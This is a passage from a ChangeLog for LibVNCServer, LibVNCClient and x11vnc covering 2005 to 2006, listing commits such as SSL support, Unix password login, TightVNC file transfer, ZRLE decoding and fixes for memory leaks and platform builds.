dscho + + * ChangeLog, client_examples/SDLvncviewer.c, + libvncclient/rfbproto.c, libvncclient/vncviewer.c, + libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h, + rfb/rfbclient.h, rfb/rfbproto.h: add KeyboardLedState extension + +2006-03-28 runge + + * ChangeLog, classes/Makefile.am, classes/ssl/Makefile.am, + classes/ssl/index.vnc, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab + -traversal.patch, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + configure.ac, libvncserver/httpd.c, prepare_x11vnc_dist.sh, + x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, + x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, + x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c, + x11vnc/options.h, x11vnc/pointer.c, x11vnc/rates.c, + x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslcmds.c, + x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, + x11vnc/xwrappers.c: SSL patch for Java viewer. https support for x11vnc. + +2006-03-27 dscho + + * AUTHORS, ChangeLog, libvncserver/rfbserver.c: ignore + maxRectsPerUpdate when encoding is Zlib (thanks scarr) + +2006-03-27 dscho + + * libvncclient/vncviewer.c: libvncclient: take -compress and + -quality command line arguments + +2006-03-12 runge + + * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, + x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, + x11vnc/gui.c, x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/options.c, + x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, + x11vnc/screen.h, x11vnc/selection.c, x11vnc/sslcmds.c, + x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, + x11vnc/xevents.c: x11vnc: add -ssl mode using libssl. Include Xdummy in misc. + +2006-03-08 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, + x11vnc/screen.c, x11vnc/selection.c, x11vnc/selection.h, + x11vnc/sslcmds.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: do CLIPBOARD, reverse conn require passwds, -usepw, + -debug_sel, -storepasswd homedir. + +2006-03-06 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/connections.h, x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, + x11vnc/params.h, x11vnc/remote.c, x11vnc/sslcmds.c, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, + x11vnc/unixpw.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: gui speedup and fixes. -unixpw and -inetd + +2006-03-05 runge + + * configure.ac, x11vnc/ChangeLog, x11vnc/README, + x11vnc/connections.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/inet.c, + x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, + x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c: x11vnc: -unixpw on *bsd, hpux and tru64. -unixpw_nis mode. stunnel + and gui tweaks. + +2006-03-03 runge + + * configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, + x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h, + x11vnc/keyboard.c, x11vnc/remote.c, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c: x11vnc: more -unixpw mode. -gone popup mode. Change filexfer via + -R. Tune SMALL_FOOTPRINT. + +2006-03-01 dscho + + * examples/Makefile.am, examples/blooptest.c, examples/example.c: + Fix blooptest example + +2006-03-01 dscho + + * rfb/keysym.h: do not assume that KEYSYM_H guards X11's keysym.h + +2006-03-01 dscho + + * libvncserver/main.c: do not timeout on idle client input (with + pthreads) + +2006-03-01 dscho + + * examples/Makefile.am: if compiling with pthreads, also compile + blooptest + +2006-02-28 dscho + + * libvncserver/sockets.c: rfbCheckFds now returns the number of + processed events + +2006-02-28 dscho + + * AUTHORS, ChangeLog, libvncserver/main.c, libvncserver/sockets.c, + rfb/rfb.h: add handleEventsEagerly flag (Thanks, Donald) + +2006-02-25 runge + + * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, + x11vnc/README, x11vnc/allowed_input_t.h, x11vnc/cleanup.c, + x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, + x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h, + x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, + x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, + x11vnc/selection.c, x11vnc/sslcmds.c, x11vnc/sslcmds.h, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, + x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c, + x11vnc/xrecord.c: x11vnc: -unixpw and -stunnel. Add clipboard to input control. + +2006-02-24 rohit_99129 + + * libvncserver/main.c, rfb/rfb.h: Added method to get extension + specific client data + +2006-02-24 rohit_99129 + + * ChangeLog, libvncserver/main.c, + libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: + Added method to get extension specific client data + +2006-02-22 dscho + + * ChangeLog, libvncserver/auth.c, libvncserver/main.c, + libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: add + functions to unregister extensions/security types + +2006-02-21 dscho + + * configure.ac, x11vnc/Makefile.am: IRIX linker is very picky about + order of libraries + +2006-02-20 runge + + * ChangeLog, configure.ac, libvncserver/cursor.c, + libvncserver/main.c, + libvncserver/tightvnc-filetransfer/filelistinfo.c, + libvncserver/tightvnc-filetransfer/filetransfermsg.c, + libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, + prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, + x11vnc/connections.c, x11vnc/inet.c, x11vnc/user.c, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: fix some non-gcc compiler warnings and signals in x11vnc + +2006-02-07 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.h: x11vnc: fix AIX build wrt h_errno. + +2006-02-06 runge + + * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, + x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: -8to24 more speedups; tunables for very slow machines. + +2006-02-05 runge + + * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README, + x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, + x11vnc/rates.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/userinput.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, + x11vnc/xinerama.c: x11vnc: -8to24 speedups and improvements. + +2006-01-22 runge + + * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, + x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, + x11vnc/rates.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/win_utils.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -8to24 opts, use XGetSubImage. fix -threads deadlocks and + -rawfb crash + +2006-01-19 runge + + * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README, + x11vnc/cursor.c, x11vnc/help.c, x11vnc/remote.c, x11vnc/scan.c, + x11vnc/screen.c, x11vnc/userinput.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -8to24 now works on default depth 8 displays. + +2006-01-16 runge + + * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, + x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: more tweaks to -8to24 XGETIMAGE_8TO24 + +2006-01-15 runge + + * ChangeLog, x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, + x11vnc/Makefile.am, x11vnc/README, x11vnc/connections.c, + x11vnc/cursor.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, + x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/util.c, + x11vnc/util.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c: x11vnc: add -8to24 option for some multi-depth displays. + +2006-01-12 runge + + * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.h: configure.ac: + add switches for most X extensions. + +2006-01-11 runge + + * libvncserver/main.c, prepare_x11vnc_dist.sh, x11vnc/README, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: logMutex needs to be + initialized too; in rfbDefaultLog. + +2006-01-11 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, + x11vnc/connections.c, x11vnc/cursor.c, x11vnc/keyboard.c, + x11vnc/pointer.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c, + x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, + x11vnc/xrecord.c: x11vnc: close fd > 2 in run_user_command(), -nocmds in crash_debug, + fix 64bit bug for -solid. + +2006-01-10 dscho + + * ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c: + rfbProcessEvents() has to iterate also over clients with sock < 0 to + close them + +2006-01-09 runge + + * ChangeLog, examples/pnmshow24.c, x11vnc/ChangeLog, + x11vnc/Makefile.am, x11vnc/README, x11vnc/allowed_input_t.h, + x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h, + x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, + x11vnc/cursor.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h, + x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h, + x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c, + x11vnc/options.h, x11vnc/params.h, x11vnc/pointer.c, + x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c, + x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, + x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c, + x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/user.h, + x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c, + x11vnc/util.h, x11vnc/win_utils.c, x11vnc/win_utils.h, + x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, + x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xevents.h, + x11vnc/xinerama.c, x11vnc/xinerama.h, x11vnc/xkb_bell.c, + x11vnc/xkb_bell.h, x11vnc/xrandr.c, x11vnc/xrandr.h, + x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c, + x11vnc/xwrappers.h: x11vnc: the big split. + +2006-01-08 runge + + * ChangeLog, examples/pnmshow24.c, libvncclient/vncviewer.c, + libvncserver/main.c: fix client non-jpeg/libz builds + +2006-01-06 runge + + * ChangeLog, libvncserver/main.c: rfbRegisterProtocolExtension extMutex was never initialized. + +2005-12-24 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: x11vnc: enhance -passwdfile features, filetransfer on by default. + +2005-12-22 dscho + + * libvncserver/rfbserver.c: make compile again with pthreads; fix + off-by-one error + +2005-12-19 dscho + + * AUTHORS, ChangeLog, libvncserver/cargs.c, libvncserver/main.c, + libvncserver/rfbserver.c, rfb/rfb.h: introduce -deferptrupdate + (thanks Dave) + +2005-12-19 dscho + + * client_examples/SDLvncviewer.c, libvncclient/sockets.c, + libvncclient/vncviewer.c, libvncserver/main.c, + libvncserver/rfbserver.c, libvncserver/sockets.c: assorted fixes for + MinGW32 + +2005-12-09 dscho + + * ChangeLog, configure.ac, libvncclient/sockets.c, + libvncserver/sockets.c: work around write() returning ENOENT on + Solaris 2.7 + +2005-12-09 dscho + + * examples/mac.c: previous patch turned compile warning in a compile + error; fix that ;-) + +2005-12-08 dscho + + * examples/mac.c: fix compile warnings + +2005-12-07 dscho + + * libvncclient/vncviewer.c: one more memory leak + +2005-12-07 dscho + + * ChangeLog, libvncclient/vncviewer.c, rfb/rfbclient.h: plug memory + leaks + +2005-12-07 dscho + + * client_examples/SDLvncviewer.c: translate keys based on unicode + (much more reliable than sym) + +2005-11-28 runge + + * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, + x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: add -loop option. + +2005-11-25 runge + + * ChangeLog, configure.ac, libvncclient/rfbproto.c, + libvncclient/tight.c, libvncclient/vncviewer.c, + libvncserver/Makefile.am, libvncserver/auth.c, libvncserver/main.c, + libvncserver/private.h, libvncserver/rfbserver.c, + libvncserver/tightvnc-filetransfer/filelistinfo.h, + libvncserver/tightvnc-filetransfer/filetransfermsg.c, + libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, + libvncserver/tightvnc-filetransfer/rfbtightserver.c, + rfb/rfbclient.h, rfb/rfbproto.h, x11vnc/ChangeLog, + x11vnc/misc/x11vnc_pw, x11vnc/x11vnc.c: fix deadlock from rfbReleaseExtensionIterator(), fix no + libz/libjpeg builds, disable tightvnc-filetransfer if no + libpthread, add --without-pthread option, rm // comments, set + NAME_MAX if not defined, x11vnc: throttle load if fb update + requests not taking place. + +2005-10-23 runge + + * configure.ac, x11vnc/README: configure.ac: test ... == ... not allowed on all unix. + +2005-10-23 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -filexfer, -slow_fb, -blackout noptr,... + +2005-10-07 dscho + + * TODO: update TODO + +2005-10-07 dscho + + * examples/backchannel.c, libvncserver/rfbserver.c, rfb/rfb.h: The + PseudoEncoding extension code was getting silly: If the client asked for an encoding, and no enabled extension + handled it, LibVNCServer would walk through all extensions, and if + they promised to handle the encoding, execute the extension's + newClient() if it was not NULL. However, if newClient is not NULL, it will be called when a client + connects, and if it returns TRUE, the extension will be enabled. + Since all the state of the extension should be in the client data, + there is no good reason why newClient should return FALSE the first + time (thus not enabling the extension), but TRUE when called just + before calling enablePseudoEncoding(). So in effect, the extension got enabled all the time, even if that + was not necessary. The resolution is to pass a void** to enablePseudoEncoding. This has + the further advantage that enablePseudoEncoding can remalloc() or + free() the data without problems. Though keep in mind that if + enablePseudoEncoding() is called on a not-yet-enabled extension, the + passed data points to NULL. + +2005-10-06 dscho + + * ChangeLog: update ChangeLog for today + +2005-10-06 dscho + + * client_examples/Makefile.am, client_examples/SDLvncviewer.c, + client_examples/backchannel.c, libvncclient/rfbproto.c, + rfb/rfbclient.h: add an extension mechanism for LibVNCClient, modify + the client data handling so that more than one data structure can be + attached, and add an example to speak the client part of the back + channel. + +2005-10-06 dscho + + * examples/Makefile.am, examples/backchannel.c: add BackChannel + extension example + +2005-10-06 dscho + + * libvncclient/zrle.c: fix warning + +2005-10-06 dscho + + * configure.ac, examples/mac.c, libvncserver/main.c, + libvncserver/rfbserver.c, libvncserver/stats.c, + libvncserver/tightvnc-filetransfer/filetransfermsg.c, rfb/rfb.h, + rfb/rfbproto.h: kill BackChannel and CustomClientMessage: the new + extension technique makes these hooks obsolete + +2005-10-06 dscho + + * libvncserver/rfbserver.c, + libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: + provide a list of the pseudo encodings understood by the extension + +2005-10-06 dscho + + * contrib/Makefile.am, x11vnc/Makefile.am: DEFINES -> AM_CFLAGS + +2005-10-06 dscho + + * client_examples/Makefile.am, examples/Makefile.am, + libvncclient/Makefile.am, + libvncserver/tightvnc-filetransfer/Makefile.am, test/Makefile.am: do + it right: it is not DEFINES, but AM_CFLAGS + +2005-10-03 dscho + + * ChangeLog, libvncserver/rfbserver.c, + libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: add + enablePseudoEncoding() to rfbProtocolExtension + +2005-09-29 dscho + + * TODO, index.html: more TODOs, and an update to the website + +2005-09-28 dscho + + * AUTHORS, ChangeLog, configure.ac, examples/.cvsignore, + examples/Makefile.am, examples/filetransfer.c, + libvncclient/.cvsignore, libvncserver/.cvsignore, + libvncserver/Makefile.am, libvncserver/auth.c, + libvncserver/cargs.c, libvncserver/main.c, + libvncserver/rfbserver.c, libvncserver/sockets.c, + libvncserver/tightvnc-filetransfer/.cvsignore, + libvncserver/tightvnc-filetransfer/Makefile.am, + libvncserver/tightvnc-filetransfer/filelistinfo.c, + libvncserver/tightvnc-filetransfer/filelistinfo.h, + libvncserver/tightvnc-filetransfer/filetransfermsg.c, + libvncserver/tightvnc-filetransfer/filetransfermsg.h, + libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, + libvncserver/tightvnc-filetransfer/handlefiletransferrequest.h, + libvncserver/tightvnc-filetransfer/rfbtightproto.h, + libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: This + monster commit contains support for TightVNC's file transfer + protocol. Thank you very much, Rohit! + +2005-09-27 dscho + + * ChangeLog, libvncserver/cargs.c, libvncserver/main.c, + libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: + Introduce generic protocol extension method. Deprecate the + processCustomClientMessage() method. + +2005-09-27 dscho + + * libvncserver/auth.c, libvncserver/main.c, rfb/rfb.h: Security is + global. This was a misguided attempt to evade a global list. I + eventually saw the light and went with Rohit´s original approach. + +2005-09-27 dscho + + * client_examples/Makefile.am, client_examples/vnc2mpg.c: support + new ffmpeg version + +2005-09-26 dscho + + * ChangeLog, libvncserver/auth.c, libvncserver/main.c, + libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h: support VNC + protocol version 3.7 + +2005-08-22 dscho + + * prepare_x11vnc_dist.sh: for x11vnc standalone package, adaptions + were needed after changing LibVNCServer.spec.in + +2005-08-21 dscho + + * AUTHORS, ChangeLog, LibVNCServer.spec.in: split rpm into three + packages: the library, -devel (headers), and x11vnc + +2005-07-18 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more gui fixes, gui requests via client_sock, + PASSWD_REQUIRED build opt. + +2005-07-13 runge + + * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, + x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: setup for new release 0.7.3 while I remember how.. + +2005-07-13 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: tweaks for release, fix queue buildup under -viewonly. + +2005-07-11 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more improvements to gui, scary nopassword warning msg. + +2005-07-09 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -grab_buster for XGrabServer deadlock; fix scrolls and + copyrect for -clip and -id + +2005-07-07 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: -gui tray now embeds in systray; more improvements to gui. + +2005-07-02 runge + + * ChangeLog, libvncserver/httpd.c, x11vnc/ChangeLog, x11vnc/README, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: x11vnc: -gui tray mode, httpd.c: check httpListenSock >= 0. + +2005-06-28 dscho + + * ChangeLog, TODO, libvncclient/zrle.c: fix annoying zrle decoding + bug + +2005-06-27 runge + + * ChangeLog, libvncserver/main.c: main.c: fix screen->deferUpdateTime default. + +2005-06-27 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: track keycode state for heuristics, -sloppy_keys, -wmdt, + add -nodbg as option + +2005-06-21 dscho + + * TODO: ZRLE has problems with RealVNC server. Look into it. + +2005-06-21 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: long info and tips when XOpenDisplay fails, reinstate "bad + desktop" for wireframe + +2005-06-18 runge + + * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, + x11vnc/x11vnc.1, x11vnc/x11vnc.c: configure.ac: HP-UX and OSF1 no -R, x11vnc: second round of + beta-testing fixes. + +2005-06-14 runge + + * ChangeLog, configure.ac, libvncserver/cursor.c, x11vnc/ChangeLog, + x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: main.c: XReadScreen check, fix 64bit use of cursors, x11vnc: first + round of beta-testing fixes, RFE's. + +2005-06-11 dscho + + * ChangeLog, configure.ac: no longer complain on Solaris about + missing ar, which was not really missing + +2005-06-06 dscho + + * rfb/rfbproto.h: add definitions from other VNC implementations + +2005-06-06 dscho + + * TODO: more TODOs + +2005-06-06 dscho + + * client_examples/Makefile.am, configure.ac: link to libmp3lame only + if exists + +2005-06-04 runge + + * ChangeLog, libvncserver/main.c, x11vnc/ChangeLog, x11vnc/README, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: main.c: no sraRgnSubstract for copyRect, scrolls for x11vnc -scale; + add -fixscreen + +2005-05-31 runge + + * ChangeLog, libvncserver/main.c, x11vnc/ChangeLog, x11vnc/README, + x11vnc/x11vnc.1, x11vnc/x11vnc.c: main.c: fix copyRect for non-cursor-shape-aware clients. + +2005-05-25 dscho + + * index.html: news + +2005-05-25 runge + + * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, + x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: x11vnc: scrolling: grabserver, autorepeat throttling, mouse wheel, + fix onetile + +2005-05-24 dscho + + * examples/.cvsignore: mac works! + +2005-05-24 dscho + + * Makefile.am, configure.ac: make libvncserver-conf executable the + autoconf way + +2005-05-24 dscho + + * Makefile.am: "make t" now executes the tests + +2005-05-24 dscho + + * libvncclient/Makefile.am: do distribute and depend on zrle.c + +2005-05-24 dscho + + * TODO, libvncclient/rfbproto.c, libvncclient/tight.c, + libvncclient/vncviewer.c, libvncclient/zlib.c, libvncclient/zrle.c, + test/encodingstest.c: implement ZRLE decoding + +2005-05-24 dscho + + * client_examples/SDLvncviewer.c: try 32 bit first + +2005-05-24 dscho + + * examples/example.c, libvncserver/font.c: fix off by one bug + +2005-05-23 dscho + + * libvncclient/tight.c, libvncclient/vncviewer.c: init a structure + *before* using it... + +2005-05-23 dscho + + * libvncclient/tight.c: remove wrong comment + +2005-05-23 dscho + + * libvncclient/rfbproto.c, libvncclient/tight.c, + libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h: make + zlib and tight handling thread safe (static -> rfbClient) + +2005-05-23 dscho + + * client_examples/vnc2mpg.c: work around bug in ffmpeg + +2005-05-23 dscho + + * ChangeLog, configure.ac: simplify configure (do not check for + malloc(0) bug) + +2005-05-23 dscho + + * client_examples/vnc2mpg.c: fix compilation for + LIBAVCODEC_BUILD==4754 + +2005-05-20 dscho + + * acinclude.m4: finally fix socklen_t problem + +2005-05-18 dscho + + * acinclude.m4: fix socklen_t also for defines + +2005-05-18 dscho + + * ChangeLog, acinclude.m4, rfb/rfb.h: fix compilation for systems + without socklen_t + +2005-05-18 dscho + + * libvncserver/main.c: fix off by one bug + +2005-05-18 dscho + + * examples/vncev.c, libvncclient/listen.c, libvncclient/rfbproto.c, + libvncclient/sockets.c, libvncclient/vncviewer.c, + libvncserver/main.c, libvncserver/rfbserver.c, + libvncserver/vncauth.c, rfb/rfb.h, test/copyrecttest.c, + test/encodingstest.c, vncterm/VNCommand.c: hide strict ansi stuff if + not explicitely turned on; actually use the socklen_t test from + configure.ac + +2005-05-18 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more scrolling, -scr_term, -wait_ui, -nowait_bog + +2005-05-17 dscho + + * libvncserver/Makefile.am: also distribute private.h... + +2005-05-17 dscho + + * TODO: update TODOs + +2005-05-16 dscho + + * libvncserver/rfbserver.c: fix SIGSEGV when client has incompatible + protocol; release mutex before freeing it + +2005-05-15 dscho + + * ChangeLog, VisualNaCro/configure.ac, VisualNaCro/default8x16.h, + VisualNaCro/nacro.c, client_examples/SDLvncviewer.c, + client_examples/ppmtest.c, contrib/zippy.c, examples/example.c, + examples/fontsel.c, examples/pnmshow.c, examples/pnmshow24.c, + examples/radon.h, examples/storepasswd.c, examples/vncev.c, + libvncclient/listen.c, libvncclient/rfbproto.c, + libvncclient/sockets.c, libvncclient/vncviewer.c, + libvncserver/auth.c, libvncserver/cargs.c, libvncserver/corre.c, + libvncserver/cursor.c, libvncserver/d3des.c, libvncserver/font.c, + libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c, + libvncserver/private.h, libvncserver/rfbregion.c, + libvncserver/rfbserver.c, libvncserver/rre.c, + libvncserver/selbox.c, libvncserver/sockets.c, + libvncserver/tight.c, libvncserver/translate.c, + libvncserver/vncauth.c, libvncserver/zlib.c, libvncserver/zrle.c, + libvncserver/zrleencodetemplate.c, libvncserver/zrleoutstream.c, + rfb/default8x16.h, rfb/rfb.h, rfb/rfbproto.h, test/copyrecttest.c, + test/cursortest.c, test/encodingstest.c, vncterm/VNCommand.c, + vncterm/VNConsole.c: ANSIfy, fix some warnings from Linus' sparse + +2005-05-15 runge + + * libvncserver/main.c, libvncserver/rfbserver.c: libvncserver/{main.c,rfbserver.c}: fix a couple more CopyRect + memory leaks + +2005-05-14 dscho + + * .cvsignore, examples/.cvsignore, test/.cvsignore, + x11vnc/misc/.cvsignore: more files to ignore + +2005-05-14 dscho + + * ChangeLog, examples/example.c, libvncserver/main.c, + libvncserver/rfbserver.c: fix memory leaks detected using valgrind + +2005-05-14 runge + + * ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c: x11vnc: more improvements to -scrollcopyrect and -xkb modes. + +2005-05-07 dscho + + * ChangeLog, VisualNaCro/nacro.c, VisualNaCro/nacro.h, + examples/example.c, examples/fontsel.c, libvncserver/httpd.c, + libvncserver/main.c, libvncserver/rfbserver.c, + libvncserver/sockets.c, rfb/rfb.h, test/cursortest.c, + vncterm/LinuxVNC.c, vncterm/VNConsole.c, x11vnc/x11vnc.c: + socketInitDone -> socketState + +2005-05-03 runge + + * ChangeLog, configure.ac, libvncserver/main.c: libvncserver/main.c: fix memory leak in + rfbDoCopyRect/rfbScheduleCopyRect; configure.ac tweaks. + +2005-05-03 runge + + * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c: x11vnc: -scrollcopyrect/RECORD, etc. configure.ac: customizations + for x11vnc pkg + +2005-04-27 dscho 